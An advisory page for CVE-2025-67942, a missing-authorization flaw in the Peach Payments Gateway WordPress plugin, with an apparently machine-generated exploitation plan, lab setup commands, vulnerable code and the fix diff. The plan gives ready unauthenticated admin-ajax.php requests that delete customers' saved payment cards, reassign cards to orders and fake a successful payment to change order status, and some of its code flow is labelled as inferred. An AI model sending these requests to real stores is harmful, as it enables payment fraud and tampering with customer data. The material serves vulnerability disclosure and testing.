Peach Payments Gateway <= 3.3.6 - Missing Authorization
Description
The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.3.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.3.6What Changed in the Fix
Changes introduced in v3.3.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-67942 ## 1. Vulnerability Summary The **Peach Payments Gateway** plugin for WordPress (versions <= 3.3.6) contains a **Missing Authorization** vulnerability. Several AJAX handlers registered via `wp_ajax_nopriv_` (for unauthenticated users) and `wp_ajax_` (fo…
Show full research plan
Exploitation Research Plan - CVE-2025-67942
1. Vulnerability Summary
The Peach Payments Gateway plugin for WordPress (versions <= 3.3.6) contains a Missing Authorization vulnerability. Several AJAX handlers registered via wp_ajax_nopriv_ (for unauthenticated users) and wp_ajax_ (for authenticated users) fail to perform capability checks (current_user_can) or verify ownership of the resources being modified. This allows unauthenticated attackers to perform unauthorized actions such as deleting payment cards or modifying order payment details.
2. Attack Vector Analysis
- Endpoints: WordPress AJAX endpoint
/wp-admin/admin-ajax.php. - Actions:
peachCardUpdate: Intended to remove a stored payment card.peachCardUpdateOrder: Intended to update an order with a specific payment card.peachEmbedUpdateOrder: Intended to update order status after a successful embedded checkout.
- Payload Parameters:
action:peachCardUpdate,peachCardUpdateOrder, orpeachEmbedUpdateOrder.card: (ForpeachCardUpdate) The ID of the payment token to delete.cardID: (ForpeachCardUpdateOrder) The ID of the card to associate with the order.orderID: (ForpeachCardUpdateOrder) The WooCommerce order ID to modify.mystatus,transaction,mycode: (ForpeachEmbedUpdateOrder) Status and transaction identifiers.
- Authentication: Unauthenticated (via
wp_ajax_nopriv_hooks). - Preconditions: The plugin must be active. For
peachCardUpdate, a payment card (token) ID must be known or enumerated.
3. Code Flow
The vulnerability originates from the lack of security checks in the AJAX callback functions.
- Registration: The plugin registers AJAX actions in its initialization (likely in
WC_Peach_Payments::__constructor aninithook, often withinclasses/pluginSupport.phporclasses/embeddedCheckout.php).// Inferred registration pattern add_action( 'wp_ajax_peachCardUpdate', 'peach_card_update_callback' ); add_action( 'wp_ajax_nopriv_peachCardUpdate', 'peach_card_update_callback' ); - Trigger: An HTTP POST request is sent to
admin-ajax.phpwithaction=peachCardUpdate. - Execution: The handler function (e.g.,
peach_card_update_callback) is executed. - Sink: The handler likely calls
WC_Payment_Token::delete()or updateswp_postmeta(for orders) without:- Verifying the user is logged in.
- Verifying the user has the
manage_woocommercecapability. - Verifying that the
cardIDororderIDbelongs to the requesting user. - Checking a WordPress nonce.
4. Nonce Acquisition Strategy
Based on assets/js/front-peach.js, the plugin does not use nonces for these specific AJAX actions.
- The
jQuery.ajaxcalls forpeachCardUpdateOrder(line 33),peachCardUpdate(line 59), andpeachEmbedUpdateOrder(line 102) only pass theactionand data parameters. - If the researcher needs to verify if a nonce is localized but unused, they can check the
peach_ajax_object(localized variable name found on JS line 34):- Navigate to the checkout page:
browser_navigate("/checkout/") - Evaluate the object:
browser_eval("window.peach_ajax_object")
- Navigate to the checkout page:
Observation: Since the JS itself does not include nonces in the requests, the server-side handlers likely do not check them, or if they do, they are bypassable.
5. Exploitation Strategy
Task A: Unauthorized Card Deletion (peachCardUpdate)
- Target: Delete a payment token belonging to a user.
- Payload:
action:peachCardUpdatecard:[TARGET_CARD_ID]
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=peachCardUpdate&card=1
Task B: Unauthorized Order Modification (peachCardUpdateOrder)
- Target: Change the payment card associated with an arbitrary order.
- Payload:
action:peachCardUpdateOrdercardID:[NEW_CARD_ID]orderID:[TARGET_ORDER_ID]
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=peachCardUpdateOrder&cardID=2&orderID=101
6. Test Data Setup
- Plugins: Install WooCommerce and Peach Payments Gateway (3.3.6).
- WooCommerce Configuration: Enable the Peach Payments gateway in
WooCommerce > Settings > Payments. - User/Data Creation:
- Create a Customer user.
- Use WP-CLI to create a payment token for that user:
wp eval 'WC_Payment_Tokens::add(new WC_Payment_Token_CC(["card_type"=>"visa", "last4"=>"1234", "expiry_month"=>"12", "expiry_year"=>"2026", "user_id"=>1]));' - Create an order:
wp post create --post_type=shop_order --post_status=wc-pending --post_title="Test Order" - Note the Token ID and Order ID.
7. Expected Results
- For
peachCardUpdate: The response should besuccess(as per JS line 64). The payment token record in the database should be deleted or marked as deleted. - For
peachCardUpdateOrder: The response should be1(as per JS line 40). The order's metadata (e.g.,_payment_method_token) should be updated to the new ID.
8. Verification Steps
- Check Tokens:
wp eval 'print_r(WC_Payment_Tokens::get_customer_tokens(1));'
Confirm the token previously created is now missing. - Check Order Meta:
wp post meta get [ORDER_ID] _payment_method_token
Confirm the meta value matches thecardIDsent in the exploit request.
9. Alternative Approaches
If peachCardUpdate requires authentication (despite the nopriv claim), focus on peachEmbedUpdateOrder:
- Payload:
action=peachEmbedUpdateOrder&mystatus=SUC&transaction=TEST_TX&mycode=000.000.000 - Objective: Attempt to force an order status change for the current session's order by mimicking a successful callback from the Peach widget. This bypasses the actual payment requirement.
Summary
The Peach Payments Gateway plugin for WordPress fails to implement capability checks or nonce verification on several AJAX handlers, including peachCardUpdate, peachCardUpdateOrder, and peachEmbedUpdateOrder. This allows unauthenticated attackers to perform unauthorized actions such as deleting stored payment tokens, modifying the payment card associated with a WooCommerce order, or altering order statuses.
Vulnerable Code
// assets/js/front-peach.js line 33 jQuery.ajax({ url:peach_ajax_object.ajax_url, data:{ action: 'peachCardUpdateOrder', cardID: card_id, orderID: order_id }, --- // assets/js/front-peach.js line 59 jQuery.ajax({ url:peach_ajax_object.ajax_url, data:{ action: 'peachCardUpdate', card: cardID }, --- // assets/js/front-peach.js line 102 function process_embed(status, transactionid, code){ jQuery.ajax({ url:peach_ajax_object.ajax_url, data:{ action: 'peachEmbedUpdateOrder', mystatus: status, transaction: transactionid, mycode: code },
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.7/assets/images: MAUCAS.png @@ -30,7 +30,8 @@ data:{ action: 'peachCardUpdateOrder', cardID: card_id, - orderID: order_id + orderID: order_id, + ajax_nonce: peach_ajax_object.ajax_nonce }, success:function(data){ if(data === '1'){ @@ -111,7 +112,8 @@ action: 'peachEmbedUpdateOrder', mystatus: status, transaction: transactionid, - mycode: code + mycode: code, + ajax_nonce: peach_ajax_object.ajax_nonce }, success:function(data){ return data;
Exploit Outline
The exploit targets the WordPress AJAX endpoint /wp-admin/admin-ajax.php using the vulnerable actions registered by the plugin. An unauthenticated attacker can send a POST request with the 'action' parameter set to 'peachCardUpdate' to delete a payment card by providing the 'card' ID. Alternatively, an attacker can use the 'peachCardUpdateOrder' action with 'cardID' and 'orderID' parameters to reassign payment tokens to arbitrary WooCommerce orders. Because the plugin uses wp_ajax_nopriv_ hooks for these functions without checking for user capabilities or requiring a valid WordPress nonce, no authentication or specific user session is required to perform these operations.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.